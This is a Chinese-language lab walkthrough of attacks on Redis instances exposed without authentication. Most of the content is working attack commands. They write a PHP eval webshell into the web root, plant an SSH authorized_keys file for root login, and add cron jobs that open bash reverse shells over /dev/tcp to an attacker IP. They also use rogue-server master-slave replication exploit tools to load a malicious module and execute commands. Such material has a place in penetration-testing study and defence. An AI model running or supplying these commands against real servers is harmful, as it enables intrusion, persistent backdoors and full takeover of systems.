# Redis

### 0x01 简介 <a href="#h2-1" id="h2-1"></a>

REmote DIctionary Server（Redis）是一个由 Salvatore Sanfilippo写的key-value存储系统。\
Redis是—个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于內存亦可持久化的日志型、Key-Value数据库，并提供多种语言的APl。它通常被称为数据结构服务器，因为值（value）可以是字符串（String），哈希（Map），列表（List），集合（sets）和有序集合（sorted sets）等类型。从2010年3月15日起，Redis的开发工作由 Mware主持。从2013年5月开始，Redis的开发由 Pivotal赞助。目前最新稳定版本为4.0.8

Redis是一个开源的高性能键值数据库。**最热门的NoSq数据库之一**，也被人们称为数据结构服务器。

最大的特点就是 ：快

```
1.以内存作为数据存储介质，读写数据的效率极高。
2.储存在 Redis中的数据是持久化的，断电或重启，数据也不会丢失
3.存储分为内存存储、磁盘存储和log文件。
4.可以从磁盘重新将数据加载到內存中，也可以通过配置文件对其进行配置，因此，redis才能实现持久化
5.支持主从模式，可以配置集群，更利于支撑大型的项目。
```

最新版是6.2的

Redis默认端口：6379 sentinel.conf配置器端口为26379

### 0x02 未授权访问 <a href="#h2-2" id="h2-2"></a>

#### 未授权访问原理 <a href="#h3-1" id="h3-1"></a>

主要是因为配置不当，导致未授权访问漏洞。\
进一步将恶意数据写入内存或者磁盘之中，造成更大的危害。

配置不当一般主要是两个原理：

> 配置登录策略导致任意机器都可以登录 redis。
>
> 未设置密码或者设置弱口令。

这边用Centos7进行演示Redis-3.2.0

官网： [Redis](https://redis.io/)

安装命令也很简单

```
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
```

编译完成之后呢 简单查看一下

去修改一下配置文件

因为我们要做未授权访问嘛

```
vi redis.conf
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii75rUzgsud17-wXYW%2Fimage.png?alt=media\&token=6de6783b-9b62-4fb9-ae1e-dc1468a89ef7)

把这个 bind 127.0.0.1 注释掉

意思是所有机器都可以登录了

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7ATT-wGviFSBURbr%2Fimage.png?alt=media\&token=5f0f3b6a-0508-4ff0-b51b-102d085dda4f)

设置为no 意思是关闭安全模式

ok 设置完成 保存退出

```
cp redis.conf ./src/redis.conf  //配置文件复制过去

./src/redis-server redis.conf //开启Redis
```

检查服务，看看端口

```
netstat -nultp
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7K1rgzWkSDTmjGNl%2Fimage.png?alt=media\&token=2da1af1a-43ad-4782-b18d-d3cf165db945)

然后 要本地登录的话

可以设置一下 环境变量

zsh添加环境变量

```
export PATH=/root/Desktop/redis-3.2.0/src:$PATH
```

以后启动Redis在命令行就可以开启了

但是 我没设置。。

就要去src目录下

```
./redis-cli -h {host} -a {密码} -p {port} {command}
```

默认是没有密码的

直接登录

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7QZZIV4PK_EetbeJ%2Fimage.png?alt=media\&token=4fbc0c53-5530-4a71-9c8f-9464c68b96c2)

常用命令

```
1.查看信息：info
2.删除所有数据库內容：flushable
3.刷新数据库：flush
4.看所有键：KEYS*，使用 select nun可以查看键值数据。
5.设置变量：set test“who am i
6.config set dir dirpath设置路径等配置7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量，查看变量名称
```

然后呢 我这边用另一台机器Redis-kali-2020.4

进行 Redis未授权访问

这边因为Centos7的网卡 问题 淦

我用两台Redis-kali-2020.4进行未授权测试一下

可以看到 直接就进来了

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7XrW99G3Nc05ULCh%2Fimage.png?alt=media\&token=36c2a9b8-9c70-4a05-ac02-5df6b76ed010)

### 0x03 Redis写入webshell <a href="#h2-3" id="h2-3"></a>

既然进来了嘛

```
config set dir /var/www/html/
//切换目录到网站的根目录

set x "\n\n\n<?php phpinfo();?>\n\n\n"
//写入恶意代码phpinfo()

set xx "\n\n\n<?php @eval($_POST['1']);?>\n\n\n"
//写入一句话木马

config set dbfilename a001.php
//磁盘中生成木马文件a001.php

save
//进行保存
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7bS2UhJESL604btK%2Fimage.png?alt=media\&token=abf26532-173d-4af9-abe8-5a929741d980)

可以去靶机看一下

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7eAnu44dguaV-_t7%2Fimage.png?alt=media\&token=93d453c7-2dfa-4a1f-8fbb-87f74bb5087a)

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7f_AIfZsbIfKgoY4%2Fimage.png?alt=media\&token=3b5eda39-4fef-493c-9a7f-aa563e31279c)

可以看到 被成功写入了

检查webshell

kali开启apache2

```
vi /etc/apache2/ports.conf
```

修改默认端口为8080<br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7jhJOd-DeMuyazfn%2Fimage.png?alt=media\&token=d7b53dcb-ac93-4810-9633-49536fd5b661)

保存退出

启动apache2服务

```
/etc/init.d/apache2 start
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7nsEHscWs_eLLnWf%2Fimage.png?alt=media\&token=6c22c5df-dcdf-4167-84f8-e177d689e0ab)

进行访问 可以看到是成功的

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7qbFo4dNVSLVk0q3%2Fimage.png?alt=media\&token=fe2c093c-2dfa-441b-b07f-67e22a102353)

### 0x04 Redis密钥登录SSH <a href="#h2-4" id="h2-4"></a>

kali开启ssh服务

```
/etc/init.d/ssh start
```

设置redis密码

```
config set requirepass a001
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7vYcK1O6Vnv-AUCb%2Fimage.png?alt=media\&token=91bb7f25-ee15-489f-ad90-2d521857fce0)

设置成功后 在进行查看就不可以了

把密码进去

```
auth a001
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii7zb1FbwZUvSSBo9k%2Fimage.png?alt=media\&token=0b4b746f-5d97-4379-b39c-3b791c89a55e)

&#x20;攻击机kali生成`ssh-rsa`密钥

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-Mii81Fu0CZxotxELP9a%2Fimage.png?alt=media\&token=a41ec696-3994-4257-b35b-d9da58319a1a)

#### 1.生成密钥

```
ssh-keygen -t rsa
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiCLsQwfbk8gEHPf3w%2Fimage.png?alt=media\&token=a5d98761-5d81-48dc-883a-4feea0ba6ff6)

#### 2.防止乱码导入到key文件中

```
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiCQGe6i6eozC-aElN%2Fimage.png?alt=media\&token=568a1a35-81d0-4ee5-a47a-785a5321f2c0)

```
cat key.txt | redis-cli -h 192.168.3.26 --pass 123456 -x set xxx
--pass是登录密码 无密码可不填
redis-cli -h 192.168.3.26 config set dir /root/.ssh
redis-cli -h 192.168.3.26 config set dbfilename authorized_keys
redis-cli -h 192.168.3.26  save
ssh -i id_rsa root@192.168.3.26
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiDBEH7dDm26xZwDtm%2Fimage.png?alt=media\&token=42a7f4b6-9ff3-4ae3-8a0a-8cdc0e5adcbd)

### 0x05 利用计划任务反弹shell <a href="#h2-5" id="h2-5"></a>

nc开启监听

```
nc -lvnp 6666
```

写入一句话

```
192.168.175.162:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.175.161/9999 0>&1\n"         #星号代表计划任务执行的时间
OK
192.168.175.162:6379> config set dir /var/spool/cron/   #设置导出的路径
OK
192.168.175.162:6379> config set dbfilename root  #设置导出的文件名
OK
192.168.175.162:6379> save   #保存
OK
192.168.175.162:6379> 
```

或者这样也是可以的

```
┌──(root/kali)-[~/桌面/redis-3.2.0/src]
└─# echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.175.161/9999 0>&1\n\n"|./redis-cli -h 192.168.175.162 -a a001 -x set 1
./redis-cli -h 192.168.175.162 -a a001 config set dir /var/spool/cron/
./redis-cli -h 192.168.175.162 -a a001 config set dbfilename root
./redis-cli -h 192.168.175.162 -a a001 save
OK
OK
OK
OK
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiDXH689GXy-jDkCCp%2Fimage.png?alt=media\&token=1247a5b9-3875-4a85-a7d2-222d5bc07d49)

### 0x06 利用主从复制RCE <a href="#h2-6" id="h2-6"></a>

之前写入webshell 基本是利用crontab、ssh key、webshe‖这样的文件都有一定容错性，再加上 crontab和ssh服务可以说是服务器的标准的服务，所以在以前，这种通过写入文件的 getshell方式基本就可以说是很通杀了

但随着现代的服务部署方式的不断发展，组件化成了不可逃避的大趋势，docker就是这股风潮下的产物之一，而在这种部署模式下，一个单一的容器中不会有除 redis以外的任何服务存在，包括sh和 crontab，再加上权限的严格控制，只靠写文件就很难再 getshel了，在这种情况下，我们就需要其他的利用手段了

漏洞存在于4.X、5.X版本中，简单来讲就是

攻击者（主机）写一个so文件，然后通过 FULLRESYNC（全局）同步文件到受害人（从机）上。

下载安装4.0.8的版本

一样的配置 改bind+改no

然后进行启动

```
./src/redis-server redis.conf
```

设置密码

```
config set requirepass a002
```

下载两个脚本

```
https://github.com/n0b0dyCN/redis-rogue-server
//未授权
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
//Redis有密码
```

目标靶机是不可以开启安全模式的

**远程登录**

攻击机上执行 进行远程连接靶机

```
python3 redis_rogue_server.py -rhost 192.168.175.162 -lhost 192.168.175.161 -passwd a002
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiDlKyA8Jufv0zG2fB%2Fimage.png?alt=media\&token=c9e3dc8a-d87f-442a-aea1-2febe786cbd2)

他这里问你

i：直接拿到shell

还是r：反弹shell

上面就是拿shell

下面搞一搞 反弹shell

选r 攻击机的IP +开启监听端口

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiDpFz16y4i6mDG36C%2Fimage.png?alt=media\&token=d8e68e1d-d233-44b3-b360-858ad3511e21)

python进去pty

```
python3 -c "import pty;pty.spawn('/bin/bash')"
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiDsvbkZoMiphF-f_X%2Fimage.png?alt=media\&token=58f48088-08d2-46fc-995d-c83f0b71de60)

### 0x07 本地Redis主从复制RCE反弹shell <a href="#h2-7" id="h2-7"></a>

**但是 如果目标机器仅仅允许本地进行登录的时候**

这个时候，我们可以通过配合其他漏洞，从目标本地登录 redis。然后手动执行脚本内写死的一些命令

将靶机 Redis作为从机，将攻击机器设置为主机

然后攻击机器会自动将一些恶意so文件同步给目标机器（从机），从而来实现对目标机器的远程命令执行。

还是用这两个脚本

```
https://github.com/n0b0dyCN/redis-rogue-server
//未授权
https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
//Redis有密码
```

但是要说一下

**将 redis-rogue-server的exp.so文件复制到 Awsome文件夹中使用，因为exp.so带 system模块**

开启监听<br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiE-MIzTU4Z86lg4dR%2Fimage.png?alt=media\&token=f546100b-f711-42e6-acc9-61490eecf050)

攻击机开启主服务器

```
python3 redis_rogue_server.py -v -path exp.so
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiE9pnMF08C9BHDd6Q%2Fimage.png?alt=media\&token=81ec7a2e-e947-460e-ab9a-eadc4c2b46e1)

然后去靶机上

查看模块 可以看到是没有的可用的模块

```
module list
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiECNA2qBW0A_9K7X5%2Fimage.png?alt=media\&token=f4b24e30-d4de-4359-814b-dbe5e6407689)

```
config set dir /tmp
//一般tmp目录都有写权限，所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字 这里就是创建一个空文件
slaveof 192.168.175.161 15000
//进行主从同步，将恶意so文件写入到tmp文件
//端口可以自定义
```

然后就可以看到攻击机这边开始了同步

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiEFLs2XJEv4X64asN%2Fimage.png?alt=media\&token=e4d3dab1-3270-4962-b683-4be672de8102)

关闭主从同步

```
slaveof NO ONE
```

```
module load ./exp.so 
//加载写入的so文件模块
module list
//ັ查看恶意的so文件有没有写入成功
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiEJmFr6WIE26N-2Ce%2Fimage.png?alt=media\&token=1d616ed8-b6c8-4ce4-8ca6-aafa7cbe9820)

执行反弹shell

```
system.rev 192.168.175.161 9999
```

就是没有回显<br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiENDJ6yrU7g0yY1xn%2Fimage.png?alt=media\&token=1b244bc1-ca81-4c0d-92d3-c3149d03b970)

然后去攻击机那边进行查看

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiERRr0iPOh5nuLEwJ%2Fimage.png?alt=media\&token=2f9fa59a-dd7e-4688-ab3d-98f255c162d6)

可以看到已经拿到了

python进入pty

```
python3 -c "import pty;pty.spawn('/bin/bash')"
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiEX9QzVltP_XjWvas%2Fimage.png?alt=media\&token=4345e7f6-2a98-4dc6-99da-cd2e5906f1d8)

还可以用另外一种方式

直接执行命令

```
system.exec "id"
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mif1zdQnbKxI9QanGSb%2F-MiiEsUfdCmPOJ8sPuTb%2Fimage.png?alt=media\&token=f74591ae-57c0-4164-bed3-2172a9da71ec)
